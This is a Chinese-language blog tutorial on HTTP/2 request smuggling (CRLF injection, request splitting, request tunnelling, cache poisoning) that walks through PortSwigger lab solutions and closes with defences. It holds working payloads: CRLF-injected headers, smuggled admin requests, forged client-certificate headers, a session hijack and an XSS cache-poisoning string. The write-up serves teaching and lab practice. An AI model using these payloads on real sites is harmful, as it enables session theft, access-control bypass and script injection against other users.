前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >HTTP2请求走私(下)

HTTP2请求走私(下)

作者头像
Al1ex
发布2024-02-01 15:18:12
1350
发布2024-02-01 15:18:12
举报
文章被收录于专栏:网络安全攻防网络安全攻防
CRLF走私

基本介绍

网站即使采取措施阻止基本H2.CL或H2.TE攻击(例如:验证content-length或剥离任何transfer-encoding头),我们也可以通过利用HTTP/2的二进制格式中允许的一些方法来绕过这些前端措施,在HTTP/1中我们有时可以利用服务器处理独立换行符(\n)方式之间的差异来走私被禁止的头

走私原理

如果后端将独立换行符(\n)作为分隔符,而前端服务器不这样做,那么一些前端服务器将根本检测不到第二个头

代码语言:javascript
复制
Foo: bar\nTransfer-Encoding: chunked

这种差异在处理完整的CRLF (\r\n)序列时并不存在,因为所有的HTTP/1服务器都认为这会终止标头,由于HTTP/2消息是二进制的,而不是基于文本的,所以每个报头的边界是基于显式的、预先确定的偏移量而不是定界符字符,这意味着\r\n在标头值中不再有任何特殊意义,因此可以包含在值本身中,而不会导致标头被拆分,这本身似乎相对无害,但是当它被重写为HTTP/1请求时,\r\n将再次被解释为标头分隔符,因此HTTP/1后端服务器会看到两个不同的头:

代码语言:javascript
复制
Foo: bar
Transfer-Encoding: chunked
靶场示例

靶场地址: https://portswigger.net/web-security/request-smuggling/advanced/lab-request-smuggling-h2-request-smuggling-via-crlf-injection

靶场介绍:本靶场容易受到请求走私的攻击,因为前端服务器会降级HTTP/2请求并且无法充分清理传入的标头,为了解决这个实验,你需要使用HTTP/2-exclusive请求走私向量来访问另一个用户的帐户,受害者每15秒访问一次主页

演示过程:

Step 1:首先访问上述链接进入靶场,然后点击"ACCESS THELAB"进入靶场

Step 2:在Burpsuite中捕获请求数据包并展开"Inspector"的请求属性部分将协议设置为HTTP/2,随后向请求添加一个任意的头,将序列\r\n追加到标头的值,后跟Transfer-Encoding: chunked

代码语言:javascript
复制
bar\r\n
Transfer-Encoding: chunked

Body部分如下所示:

代码语言:javascript
复制
0

SMUGGLED

随后我们可以看到发送的每第二个请求会收到一个404响应,由此可以确认我们已经让后端将后续请求附加到走私的前缀上

Step 3:随后构造如下请求数据包

代码语言:javascript
复制
0

POST / HTTP/1.1
Host: YOUR-LAB-ID.web-security-academy.net
Cookie: session=YOUR-SESSION-COOKIE
Content-Length: 800

search=x

发送请求然后立即刷新浏览器中的页面

此时运气好的会看到被外带出来的,中间需要多次尝试,有兴趣的可以去试试看

请求拆分
基本介绍

从上面的响应队列中毒中我们了解到了如何将一个HTTP请求拆分成为两个完整的请求,上面的例子拆分发生在消息体内部,但是当使用HTTP/2降级时,我们也可以使拆分发生在消息头中,例如:您甚至可以使用GET请求

代码语言:javascript
复制
:method  GET
:path  /
:authority  vulnerable-website.com
foo  
bar\r\n
\r\n
GET /admin HTTP/1.1\r\n
Host: vulnerable-website.com
重写请求

在报头中拆分请求时,我们需要了解前端服务器如何重写请求并在手动添加任何HTTP/1报头时考虑这一点,否则其中一个请求可能缺少强制标头,例如:您需要确保后端收到的两个请求都包含host头,在降级过程中前端服务器通常会去除:authority伪标头并将其替换为新的HTTP/1主机标头,例如下面的重新请求:

代码语言:javascript
复制
:method  GET
:path  /
:authority  vulnerable-website.com
foo  
bar\r\n
\r\n
GET /admin HTTP/1.1\r\n
Host: vulnerable-website.com

在重写过程中一些前端服务器会将新的主机头附加到当前头列表的末尾,就HTTP/2前端而言是位于在foo头之后,需要注意的是请求在后端被拆分的点之后,这意味着第一个请求根本没有host,而走私的请求有两个,在这种情况下您需要定位注入的host头,以便发生分割时它会出现在第一个请求中

代码语言:javascript
复制
:method  GET
:path  /
:authority  vulnerable-website.com
foo  
bar\r\n
Host: vulnerable-website.com\r\n
\r\n
GET /admin HTTP/1.1
靶场示例

靶场地址:https://portswigger.net/web-security/request-smuggling/advanced/lab-request-smuggling-h2-request-splitting-via-crlf-injection

靶场介绍:本靶场容易受到请求走私的攻击,因为前端服务器会降级HTTP/2请求并且无法充分清理传入的标头,为了解决这个实验,你需要通过使用响应队列中毒进入位于/admin的管理面板来删除用户carlos,管理员用户大约每10秒登录一次

靶场演示:

Step 1;首先访问上面的链接进入靶场并点击"ACCESS THELAB"

Step 2:使用Burpsuite抓包并更改协议为HTTP/2,随后将路径更改为不存在的路径,比如:/x,这意味着我们正常情况下得到的都市404响应,但是如果我们一旦完成了对响应队列的毒化操作,那么我们将很容易识别到其他用户的响应信息

Step 3:随后使用"Inspector"在请求的末尾加入一个任意的头信息

代码语言:javascript
复制
#Name
foo

#Value
bar\r\n
\r\n
GET /x HTTP/1.1\r\n
Host: YOUR-LAB-ID.web-security-academy.net

Step 4:随后发送请求,前端服务器在降级期间会将\r\n\r\n附加到标头的末尾,而这实际上会将走私的前缀转换为完整的请求,从而毒化响应队列

随后我们可以捕获到administrator的Session

代码语言:javascript
复制
HTTP/2 302 Found
Location: /my-account?id=administrator
Set-Cookie: session=cyZcKafhXtFXWKThxfViUIkgfRkV9zep; Secure; HttpOnly; SameSite=None
X-Frame-Options: SAMEORIGIN
Content-Length: 0

Step 5:随后发生请求查看可用的接口

代码语言:javascript
复制
GET /my-account?id=administrator HTTP/2
Host: 0a590059045ceec6801b80f6009c0010.web-security-academy.net
Cookie: session=cyZcKafhXtFXWKThxfViUIkgfRkV9zep

访问/admin路径获取到删除用户的接口信息

Step 6:直接调用接口删除用户

代码语言:javascript
复制
GET /admin/delete?username=carlos HTTP/2
Host: 0a590059045ceec6801b80f6009c0010.web-security-academy.net
Cookie: session=cyZcKafhXtFXWKThxfViUIkgfRkV9zep

Step 7:随后完成解题

请求隧道
基本介绍

上面我们讨论的许多请求走私攻击之所以可以实现是因为前端和后端之间的相同连接处理多个请求,尽管有些服务器会为任何请求重用连接,但其他服务器有更严格的策略,例如:有些服务器只允许来自同一IP地址或同一客户端的请求重用连接,其他人根本不会重用连接,这限制了传统的请求走私所能实现的利用途径,因为没有明显的方法来影响其他用户的流量数据

虽然不能毒害套接字来干扰其他用户的请求,但是我们仍然可以发送一个请求,从后端得到两个响应,这将有可能对前端实现完全隐藏请求及其匹配的响应,通过使用这种技术我们可以绕过前端安全措施,甚至一些专门为防止请求走私攻击而设计的机制也无法阻止请求隧道,这种方式将请求隧道传输到后端并提供了一种更有限的请求走私形式,其实HTTP/1和HTTP/2都可以实现请求隧道,但是在只有HTTP/1的环境中检测起来要困难得多,由于HTTP/1中持久(保持活动)连接的工作方式,即使您确实收到了两个响应,这也不一定能确认请求被成功走私,另一方面,在HTTP/2中每个"Stream"应该只包含一个请求和响应,如果您收到一个HTTP/2响应,其正文中似乎是一个HTTP/1响应,那么我们便可以确信已经成功地通过隧道传输了第二个请求

头部泄露

假设我们发送了一个类似如下的请求来将内部头追加到将成为后端主体参数的内容中

代码语言:javascript
复制
:method  POST
:path  /comment
:authority  vulnerable-website.com
content-type  application/x-www-form-urlencoded
foo  
bar\r\n
Content-Length: 200\r\n
\r\n
comment=

x=1

在这种情况下,前端和后端都同意只有一个请求,有趣的是可以让它们在报头结束的位置上产生分歧,前端将我们注入的所有内容都视为头部的一部分,因此在尾部comment=string之后,另一方面后端看到\r\n\r\n序列认为这是标头的结尾,comment= string以及内部头被视为正文的一部分

代码语言:javascript
复制
POST /comment HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 200

comment=X-Internal-Header: secretContent-Length: 3
x=1
靶场示例

靶场地址:https://portswigger.net/web-security/request-smuggling/advanced/request-tunnelling/lab-request-smuggling-h2-bypass-access-controls-via-request-tunnelling

靶场介绍:本靶场容易受到请求走私的攻击,因为前端服务器会降级HTTP/2请求并且无法充分净化传入的头名称,要解决该实验你需要以管理员用户身份访问/admin中的管理面板并删除用户carlos,需要注意的是本环境中前端服务器不重用到后端的连接,因此不容易受到传统的请求走私攻击,然而它仍然容易受到隧道请求的攻击

靶场演示:

Step 1:首先访问以上靶场地址,然后点击"ACCESS THELAB"进入靶场

Step 2:在Burpsuite中捕获请求并将协议更改为HTTP/2,随后使用Inspector将一个任意的头附加到请求的末尾并尝试在其名称中隐藏一个主机头,如下所示

代码语言:javascript
复制
#Name
foo: bar\r\n
Host: abc

#Value
xyz

随后发送请求数据包可以看到此处存在对abc的链接,说明我的CRLF注入成功

Step 3:在浏览器中可以看到搜索功能,随后进行一个简单的检索

Step 4:在burpsuite中将协议升级为HTTP/2,同时更改请求方法为POST,添加一个任意头并使用其名称字段注入一个大的Content-Length和一个额外的搜索参数,如下所示

代码语言:javascript
复制
#Name
foo: bar\r\n
Content-Length: 500\r\n
\r\n
search=x

#Value
xyz

Step 5:在请求的Body中将任意字符附加到原始搜索参数,直到请求长度超过走私的Content-Length头,发送请求就可以看到响应中出现了前端服务器附加到我们请求的标头信息

代码语言:javascript
复制
Content-Length: 840
X-SSL-VERIFIED: 0
X-SSL-CLIENT-CN: null
X-FRONTEND-KEY: 2244638774928226

Step 6:随后将请求方法改为HEAD并更改头部信息,在其中插入请求路径这样它就可以走私对admin面板的请求,包括三个客户端身份验证头,确保按如下方式更新它们的值

代码语言:javascript
复制
#Name
foo: bar\r\n
\r\n
GET /admin HTTP/1.1\r\n
X-SSL-VERIFIED: 1\r\n
X-SSL-CLIENT-CN: administrator\r\n
X-FRONTEND-KEY: 2244638774928226\r\n
\r\n

#Value
xyz

发送请求您会看到收到一个错误响应表示说没有收到足够的字节,这是因为请求资源的内容长度比我们试图读取的隧道响应长,随后更改:path伪标头,使其指向返回较短资源的端点,在这种情况下我们可以使用/login,随后在响应中找到删除carlos的URL,然后相应地更新隧道请求中的路径并重新发送完成解题

缓存投毒
基本介绍

请求隧道通常比传统的请求走私更受限制,但有时我们仍然可以构造高严重性的攻击,例如:我们可以将制作一个Web缓存投毒攻击,通过使用请求隧道可以有效地将一个响应的头部与另一个响应的主体混合和匹配,如果正文中的响应了未编码的用户输入,那么您可以在浏览器通常不会执行代码的上下文中利用这种行为来实现反射型XSS,例如:以下响应包含未编码的、攻击者可控制的输入,其本身是相对无害的,但是这里的Content-Type则表示这个有效负载将被浏览器简单地解释为JSON

代码语言:javascript
复制
HTTP/1.1 200 OK
Content-Type: application/json

{ "name" : "test<script>alert(1)</script>" }
[etc.]

如果我们将请求隧道传输到后端那么这个响应将会出现在另一个响应的主体中,有效地继承了它的头,包括内容类型

代码语言:javascript
复制
:status  200
content-type  text/html
content-length  174
HTTP/1.1 200 OK
Content-Type: application/json

{ "name" : "test<script>alert(1)</script>" }
[etc.]
靶场示例

靶场地址: https://portswigger.net/web-security/request-smuggling/advanced/request-tunnelling/lab-request-smuggling-h2-web-cache-poisoning-via-request-tunnelling

靶场介绍:这个靶场很容易受到请求走私的攻击,因为前端服务器会降低HTTP/2请求的级别并且不会始终如一地清除传入的标头,为了解决实验室问题你需要在缓存中投毒,当受害者访问主页时,他们的浏览器会执行alert(1),受害者用户将每15秒访问一次主页

靶场演示:

Step 1:首先访问以上靶场链接并点击"ACCESS THELAB"进入靶场

Step 2:使用Burpsuite捕获用户的请求,然后通过"Inspector"将请求协议切换为HTTP/2,并修改请求头部信息,走私一下内容

代码语言:javascript
复制
#Name
:path

#Value
/?cachebuster=1 HTTP/1.1\r\n
Foo: bar

Step 3:从上面可以看到响应正常,说明我们可以借助:path进行走私请求,随后改变请求方法为HAED,试一下进行隧道传输,从响应正文中可以看到包含了:HTTP/1.1 200 OK,说明我们的走私成功

代码语言:javascript
复制
/?cachebuster=1 HTTP/1.1\r\n
Host:0a8f00d80344b40981c0e8ab00300007.web-security-academy.net\r\n
\r\n
GET /post?postId=1 HTTP/1.1\r\n
Foo: bar

Step 4:随后我们需要找到一个基于HTML的XSS有效负载,而不编码或转义它可控点,发送对GET /resources的响应并观察到触发了到/resources/的重定向

Step 5:随后尝试通过:path伪头隧道传输该请求,在查询字符串中包括XSS有效负载

代码语言:javascript
复制
#Name
:path

#Vaule
/?cachebuster=3 HTTP/1.1\r\n
Host: YOUR-LAB-ID.web-security-academy.net\r\n
\r\n
GET /resources?<script>alert(1)</script> HTTP/1.1\r\n
Foo: bar

Step 6:从上面可以注意到请求超时了,这是因为主响应中的Content-Length头比隧道请求的嵌套响应长,随后我们检查对普通GET /请求的响应中的内容长度并记下其值

随后回到Burp Repeater中的恶意请求,在结束</script >标记后添加足够多的任意字符来填充您的反射有效负载以便隧道响应的长度将超过您刚才提到的内容长度

随后重新发送数据包进行缓存投毒:

此时访问/?cachebuster=3成功触发恶意载荷

重定向操作

Step 7:随后我们直接移除"cachebuster"参数并对网站直接进行缓存投毒操作

此时可以看到直接访问即可触发恶意载荷,而不在是特定的链接

随后刷新页面完成解题:

防御措施
  • 避免HTTP/2降级或者使用端到端的HTTP/2
  • 限制那些未标记的请求头,同时建议放弃继承HTTP/1.1
  • 强制执行HTTP/1中存在的字符集限制 - 拒绝在请求头中包含换行符、请求头名称中包含冒号、请求方法中包含空格等的请求
参考链接

https://hpbn.co/http2/

https://portswigger.net/web-security/request-smuggling/advanced#http-2-request-smuggling

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2024-02-01,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 七芒星实验室 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • CRLF走私
    • 基本介绍
      • 走私原理
        • 靶场示例
        • 请求拆分
          • 基本介绍
            • 重写请求
              • 靶场示例
              • 请求隧道
                • 基本介绍
                  • 头部泄露
                    • 靶场示例
                    • 缓存投毒
                      • 基本介绍
                        • 靶场示例
                        • 防御措施
                        • 参考链接
                        相关产品与服务
                        多因子身份认证
                        多因子身份认证(Multi-factor Authentication Service,MFAS)的目的是建立一个多层次的防御体系,通过结合两种或三种认证因子(基于记忆的/基于持有物的/基于生物特征的认证因子)验证访问者的身份,使系统或资源更加安全。攻击者即使破解单一因子(如口令、人脸),应用的安全依然可以得到保障。
                        领券
                        问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档